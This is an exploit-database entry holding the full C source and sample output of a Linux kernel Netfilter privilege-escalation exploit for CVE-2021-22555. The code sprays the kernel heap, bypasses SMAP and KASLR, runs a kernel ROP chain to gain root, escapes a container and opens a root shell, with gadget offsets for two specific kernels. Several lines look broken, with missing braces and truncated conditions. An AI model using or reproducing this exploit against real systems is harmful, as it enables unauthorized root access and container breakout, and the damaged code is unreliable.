发布 2021-07-15 漏洞条目

Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation

Exploit Source

* CVE-2021-22555: Turning \x00\x00 into 10000$

* by Andy Nguyen (theflow@)

* theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c

* theflow@theflow:~$ ./exploit

* [+] Linux Privilege Escalation by theflow@ - 2021

* [+] STAGE 0: Initialization

* [*] Setting up namespace sandbox...

* [*] Initializing sockets and message queues...

* [+] STAGE 1: Memory corruption

* [*] Spraying primary messages...

* [*] Spraying secondary messages...

* [*] Creating holes in primary messages...

* [*] Triggering out-of-bounds write...

* [*] Searching for corrupted primary message...

* [+] fake_idx: ffc

* [+] real_idx: fc4

* [+] STAGE 2: SMAP bypass

* [*] Freeing real secondary message...

* [*] Spraying fake secondary messages...

* [*] Leaking adjacent secondary message...

* [+] kheap_addr: ffff91a49cb7f000

* [*] Freeing fake secondary messages...

* [*] Spraying fake secondary messages...

* [*] Leaking primary message...

* [+] kheap_addr: ffff91a49c7a0000

* [+] STAGE 3: KASLR bypass

* [*] Freeing fake secondary messages...

* [*] Spraying fake secondary messages...

* [*] Freeing sk_buff data buffer...

* [*] Spraying pipe_buffer objects...

* [*] Leaking and freeing pipe_buffer object...

* [+] anon_pipe_buf_ops: ffffffffa1e78380

* [+] kbase_addr: ffffffffa0e00000

* [+] STAGE 4: Kernel code execution

* [*] Spraying fake pipe_buffer objects...

* [*] Releasing pipe_buffer objects...

* [*] Checking for root...

* [+] Root privileges gained.

* [+] STAGE 5: Post-exploitation

* [*] Escaping container...

* [*] Cleaning up...

* [*] Popping root shell...

* root@theflow:/# id

* uid=0(root) gid=0(root) groups=0(root)

* root@theflow:/#

* Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.

// clang-format off

#define _GNU_SOURCE

#include <err.h>

#include <errno.h>

#include <fcntl.h>

#include <inttypes.h>

#include <sched.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <net/if.h>

#include <netinet/in.h>

#include <sys/ipc.h>

#include <sys/msg.h>

#include <sys/socket.h>

#include <sys/syscall.h>

#include <linux/netfilter_ipv4/ip_tables.h>

// clang-format on

#define PAGE_SIZE 0x1000

#define PRIMARY_SIZE 0x1000

#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4

#define NUM_SKBUFFS 128

#define NUM_PIPEFDS 256

#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41

#define MTYPE_SECONDARY 0x42

#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1

#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off

#ifdef KERNEL_COS_5_4_89

// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]

#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8

// 0xffffffff815401df : pop rsp ; pop rbx ; ret

#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret

#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65

// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret

#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8

// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret

#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972

// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret

#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret

#define POP_RDX_RET 0xC7C80

// 0xffffffff8143a2b4 : pop rsi ; ret

#define POP_RSI_RET 0x43A2B4

// 0xffffffff81067520 : pop rdi ; ret

#define POP_RDI_RET 0x67520

// 0xffffffff8100054b : pop rbp ; ret

#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret

#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6

// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret

#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0

#define SWITCH_TASK_NAMESPACES 0x9D080

#define COMMIT_CREDS 0x9EC10

#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600

#define INIT_NSPROXY 0x1250590

#elif KERNEL_UBUNTU_5_8_0_48

// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]

#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783

// 0xffffffff8109b6c0 : pop rsp ; ret

#define POP_RSP_RET 0x9B6C0

// 0xffffffff8106db59 : add rsp, 0xd0 ; ret

#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret

#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3

// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret

#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3

// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret

#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF

// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret

#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret

#define POP_RCX_RET 0xF5633

// 0xffffffff811abaae : pop rsi ; ret

#define POP_RSI_RET 0x1ABAAE

// 0xffffffff81089250 : pop rdi ; ret

#define POP_RDI_RET 0x89250

// 0xffffffff810005ae : pop rbp ; ret

#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret

#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894

// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret

#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0

#define SWITCH_TASK_NAMESPACES 0xC7A50

#define COMMIT_CREDS 0xC8C80

#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380

#define INIT_NSPROXY 0x1663080

#else

#error "No kernel version defined"

#endif

// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140

#define MSG_MSG_SIZE (sizeof(struct msg_msg))

#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {

uint64_t m_list_next;

uint64_t m_list_prev;

uint64_t m_type;

uint64_t m_ts;

uint64_t next;

uint64_t security;

};

struct msg_msgseg {

uint64_t next;

};

struct pipe_buffer {

uint64_t page;

uint32_t offset;

uint32_t len;

uint64_t ops;

uint32_t flags;

uint32_t pad;

uint64_t private;

};

struct pipe_buf_operations {

uint64_t confirm;

uint64_t release;

uint64_t steal;

uint64_t get;

};

struct {

long mtype;

char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];

} msg_primary;

struct {

long mtype;

char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];

} msg_secondary;

struct {

long mtype;

char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];

} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,

uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {

msg->m_list_next = m_list_next;

msg->m_list_prev = m_list_prev;

msg->m_type = MTYPE_FAKE;

msg->m_ts = m_ts;

msg->next = next;

msg->security = 0;

}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {

*(long *)msgp = msgtyp;

if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {

perror("[-] msgsnd");

return -1;

}

return 0;

}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <

0) {

perror("[-] msgrcv");

return -1;

}

return 0;

}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {

perror("[-] msgrcv");

return -1;

}

return 0;

}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {

for (int i = 0; i < NUM_SOCKETS; i++) {

for (int j = 0; j < NUM_SKBUFFS; j++) {

if (write(ss[i][0], buf, size) < 0) {

perror("[-] write");

return -1;

}

return 0;

}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {

for (int i = 0; i < NUM_SOCKETS; i++) {

for (int j = 0; j < NUM_SKBUFFS; j++) {

if (read(ss[i][1], buf, size) < 0) {

perror("[-] read");

return -1;

}

return 0;

}

int trigger_oob_write(int s) {

struct __attribute__((__packed__)) {

struct ipt_replace replace;

struct ipt_entry entry;

struct xt_entry_match match;

char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];

struct xt_entry_target target;

} data = {0};

data.replace.num_counters = 1;

data.replace.num_entries = 1;

data.replace.size = (sizeof(data.entry) + sizeof(data.match) +

sizeof(data.pad) + sizeof(data.target));

data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +

sizeof(data.pad) + sizeof(data.target));

data.entry.target_offset =

(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));

strcpy(data.match.u.user.name, "icmp");

data.match.u.user.revision = 0;

data.target.u.user.target_size = sizeof(data.target);

strcpy(data.target.u.user.name, "NFQUEUE");

data.target.u.user.revision = 1;

// Partially overwrite the adjacent buffer with 2 bytes of zero.

if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {

if (errno == ENOPROTOOPT) {

printf("[-] Error ip_tables module is not loaded.\n");

return -1;

}

return 0;

}

// Note: Must not touch offset 0x10-0x18.

void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {

uint64_t *rop;

#ifdef KERNEL_COS_5_4_89

*(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;

rop = (uint64_t *)&buf[0x18];

// Save RBP at scratchpad_addr.

*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;

*rop++ = scratchpad_addr; // R14

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBX

*rop++ = 0xDEADBEEF; // R14

*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))

*rop++ = kbase_addr + POP_RDI_RET;

*rop++ = 0; // RDI

*rop++ = kbase_addr + PREPARE_KERNEL_CRED;

*rop++ = kbase_addr + POP_RDX_RET;

*rop++ = 1; // RDX

*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)

*rop++ = kbase_addr + POP_RDI_RET;

*rop++ = 1; // RDI

*rop++ = kbase_addr + FIND_TASK_BY_VPID;

*rop++ = kbase_addr + POP_RDX_RET;

*rop++ = 1; // RDX

*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + POP_RSI_RET;

*rop++ = kbase_addr + INIT_NSPROXY; // RSI

*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.

*rop++ = kbase_addr + POP_RBP_RET;

*rop++ = scratchpad_addr - 0x25; // RBP

*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;

*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;

#elif KERNEL_UBUNTU_5_8_0_48

*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;

*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

rop = (uint64_t *)&buf[0xD8];

// Save RBP at scratchpad_addr.

*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;

*rop++ = scratchpad_addr; // R12

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBX

*rop++ = 0xDEADBEEF; // R12

*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))

*rop++ = kbase_addr + POP_RDI_RET;

*rop++ = 0; // RDI

*rop++ = kbase_addr + PREPARE_KERNEL_CRED;

*rop++ = kbase_addr + POP_RCX_RET;

*rop++ = 4; // RCX

*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;

*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)

*rop++ = kbase_addr + POP_RDI_RET;

*rop++ = 1; // RDI

*rop++ = kbase_addr + FIND_TASK_BY_VPID;

*rop++ = kbase_addr + POP_RCX_RET;

*rop++ = 4; // RCX

*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;

*rop++ = 0xDEADBEEF; // RBP

*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;

*rop++ = kbase_addr + POP_RSI_RET;

*rop++ = kbase_addr + INIT_NSPROXY; // RSI

*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.

*rop++ = kbase_addr + POP_RBP_RET;

*rop++ = scratchpad_addr - 0xA; // RBP

*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;

*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;

#endif

}

int setup_sandbox(void) {

if (unshare(CLONE_NEWUSER) < 0) {

perror("[-] unshare(CLONE_NEWUSER)");

return -1;

}

if (unshare(CLONE_NEWNET) < 0) {

perror("[-] unshare(CLONE_NEWNET)");

return -1;

}

cpu_set_t set;

CPU_ZERO(&set);

CPU_SET(0, &set);

if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {

perror("[-] sched_setaffinity");

return -1;

}

return 0;

}

int main(int argc, char *argv[]) {

int s;

int fd;

int ss[NUM_SOCKETS][2];

int pipefd[NUM_PIPEFDS][2];

int msqid[NUM_MSQIDS];

char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];

char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

struct msg_msg *msg;

struct pipe_buf_operations *ops;

struct pipe_buffer *buf;

uint64_t pipe_buffer_ops = 0;

uint64_t kheap_addr = 0, kbase_addr = 0;

int fake_idx = -1, real_idx = -1;

printf("[+] Linux Privilege Escalation by theflow@ - 2021\n");

printf("\n");

printf("[+] STAGE 0: Initialization\n");

printf("[*] Setting up namespace sandbox...\n");

if (setup_sandbox() < 0)

goto err_no_rmid;

printf("[*] Initializing sockets and message queues...\n");

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

perror("[-] socket");

goto err_no_rmid;

}

for (int i = 0; i < NUM_SOCKETS; i++) {

if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {

perror("[-] socketpair");

goto err_no_rmid;

}

for (int i = 0; i < NUM_MSQIDS; i++) {

if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {

perror("[-] msgget");

goto err_no_rmid;

}

printf("\n");

printf("[+] STAGE 1: Memory corruption\n");

printf("[*] Spraying primary messages...\n");

for (int i = 0; i < NUM_MSQIDS; i++) {

memset(&msg_primary, 0, sizeof(msg_primary));

*(int *)&msg_primary.mtext[0] = MSG_TAG;

*(int *)&msg_primary.mtext[4] = i;

if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <

goto err_rmid;

}

printf("[*] Spraying secondary messages...\n");

for (int i = 0; i < NUM_MSQIDS; i++) {

memset(&msg_secondary, 0, sizeof(msg_secondary));

*(int *)&msg_secondary.mtext[0] = MSG_TAG;

*(int *)&msg_secondary.mtext[4] = i;

if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),

MTYPE_SECONDARY) < 0)

goto err_rmid;

}

printf("[*] Creating holes in primary messages...\n");

for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {

if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <

goto err_rmid;

}

printf("[*] Triggering out-of-bounds write...\n");

if (trigger_oob_write(s) < 0)

goto err_rmid;

printf("[*] Searching for corrupted primary message...\n");

for (int i = 0; i < NUM_MSQIDS; i++) {

if (i != 0 && (i % HOLE_STEP) == 0)

continue;

if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)

goto err_no_rmid;

if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {

printf("[-] Error could not corrupt any primary message.\n");

goto err_no_rmid;

}

if (*(int *)&msg_secondary.mtext[4] != i) {

fake_idx = i;

real_idx = *(int *)&msg_secondary.mtext[4];

break;

}

if (fake_idx == -1 && real_idx == -1) {

printf("[-] Error could not corrupt any primary message.\n");

goto err_no_rmid;

}

// fake_idx's primary message has a corrupted next pointer; wrongly

// pointing to real_idx's secondary message.

printf("[+] fake_idx: %x\n", fake_idx);

printf("[+] real_idx: %x\n", real_idx);

printf("\n");

printf("[+] STAGE 2: SMAP bypass\n");

printf("[*] Freeing real secondary message...\n");

if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),

MTYPE_SECONDARY) < 0)

goto err_rmid;

// Reclaim the previously freed secondary message with a fake msg_msg of

// maximum possible size.

printf("[*] Spraying fake secondary messages...\n");

memset(secondary_buf, 0, sizeof(secondary_buf));

build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,

PAGE_SIZE - MSG_MSG_SIZE, 0);

if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

goto err_rmid;

// Use the fake secondary message to read out-of-bounds.

printf("[*] Leaking adjacent secondary message...\n");

if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)

goto err_rmid;

// Check if the leak is valid.

if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {

printf("[-] Error could not leak adjacent secondary message.\n");

goto err_rmid;

}

// The secondary message contains a pointer to the primary message.

msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];

kheap_addr = msg->m_list_next;

if (kheap_addr & (PRIMARY_SIZE - 1))

kheap_addr = msg->m_list_prev;

printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {

printf("[-] Error kernel heap address is incorrect.\n");

goto err_rmid;

}

printf("[*] Freeing fake secondary messages...\n");

free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at next to leak its content. Assumes zero bytes before

// kheap_addr.

printf("[*] Spraying fake secondary messages...\n");

memset(secondary_buf, 0, sizeof(secondary_buf));

build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,

sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);

if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

goto err_rmid;

// Use the fake secondary message to read from kheap_addr.

printf("[*] Leaking primary message...\n");

if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)

goto err_rmid;

// Check if the leak is valid.

if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {

printf("[-] Error could not leak primary message.\n");

goto err_rmid;

}

// The primary message contains a pointer to the secondary message.

msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];

kheap_addr = msg->m_list_next;

if (kheap_addr & (SECONDARY_SIZE - 1))

kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.

kheap_addr -= SECONDARY_SIZE;

printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {

printf("[-] Error kernel heap address is incorrect.\n");

goto err_rmid;

}

printf("\n");

printf("[+] STAGE 3: KASLR bypass\n");

printf("[*] Freeing fake secondary messages...\n");

free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.

printf("[*] Spraying fake secondary messages...\n");

memset(secondary_buf, 0, sizeof(secondary_buf));

build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);

if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

goto err_rmid;

printf("[*] Freeing sk_buff data buffer...\n");

if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)

goto err_rmid;

printf("[*] Spraying pipe_buffer objects...\n");

for (int i = 0; i < NUM_PIPEFDS; i++) {

if (pipe(pipefd[i]) < 0) {

perror("[-] pipe");

goto err_rmid;

}

// Write something to populate pipe_buffer.

if (write(pipefd[i][1], "pwn", 3) < 0) {

perror("[-] write");

goto err_rmid;

}

printf("[*] Leaking and freeing pipe_buffer object...\n");

for (int i = 0; i < NUM_SOCKETS; i++) {

for (int j = 0; j < NUM_SKBUFFS; j++) {

if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {

perror("[-] read");

goto err_rmid;

}

if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)

pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];

}

kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;

printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);

printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {

printf("[-] Error kernel base address is incorrect.\n");

goto err_rmid;

}

printf("\n");

printf("[+] STAGE 4: Kernel code execution\n");

printf("[*] Spraying fake pipe_buffer objects...\n");

memset(secondary_buf, 0, sizeof(secondary_buf));

buf = (struct pipe_buffer *)&secondary_buf;

buf->ops = kheap_addr + 0x290;

ops = (struct pipe_buf_operations *)&secondary_buf[0x290];

#ifdef KERNEL_COS_5_4_89

// RAX points to &buf->ops.

// RCX points to &buf.

ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;

#elif KERNEL_UBUNTU_5_8_0_48

// RSI points to &buf.

ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;

#endif

build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);

if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

goto err_rmid;

// Trigger pipe_release().

printf("[*] Releasing pipe_buffer objects...\n");

for (int i = 0; i < NUM_PIPEFDS; i++) {

if (close(pipefd[i][0]) < 0) {

perror("[-] close");

goto err_rmid;

}

if (close(pipefd[i][1]) < 0) {

perror("[-] close");

goto err_rmid;

}

printf("[*] Checking for root...\n");

if ((fd = open("/etc/shadow", O_RDONLY)) < 0) {

printf("[-] Error could not gain root privileges.\n");

goto err_rmid;

}

close(fd);

printf("[+] Root privileges gained.\n");

printf("\n");

printf("[+] STAGE 5: Post-exploitation\n");

printf("[*] Escaping container...\n");

setns(open("/proc/1/ns/mnt", O_RDONLY), 0);

setns(open("/proc/1/ns/pid", O_RDONLY), 0);

setns(open("/proc/1/ns/net", O_RDONLY), 0);

printf("[*] Cleaning up...\n");

for (int i = 0; i < NUM_MSQIDS; i++) {

// TODO: Fix next pointer.

if (i == fake_idx)

continue;

if (msgctl(msqid[i], IPC_RMID, NULL) < 0)

perror("[-] msgctl");

}

for (int i = 0; i < NUM_SOCKETS; i++) {

if (close(ss[i][0]) < 0)

perror("[-] close");

if (close(ss[i][1]) < 0)

perror("[-] close");

}

if (close(s) < 0)

perror("[-] close");

printf("[*] Popping root shell...\n");

char *args[] = {"/bin/bash", "-i", NULL};

execve(args[0], args, NULL);

return 0;

err_rmid:

for (int i = 0; i < NUM_MSQIDS; i++) {

if (i == fake_idx)

continue;

if (msgctl(msqid[i], IPC_RMID, NULL) < 0)

perror("[-] msgctl");

}

err_no_rmid:

return 1;

}

作者: TheFloW
日期: 2021-07-15
类别: local
平台: linux

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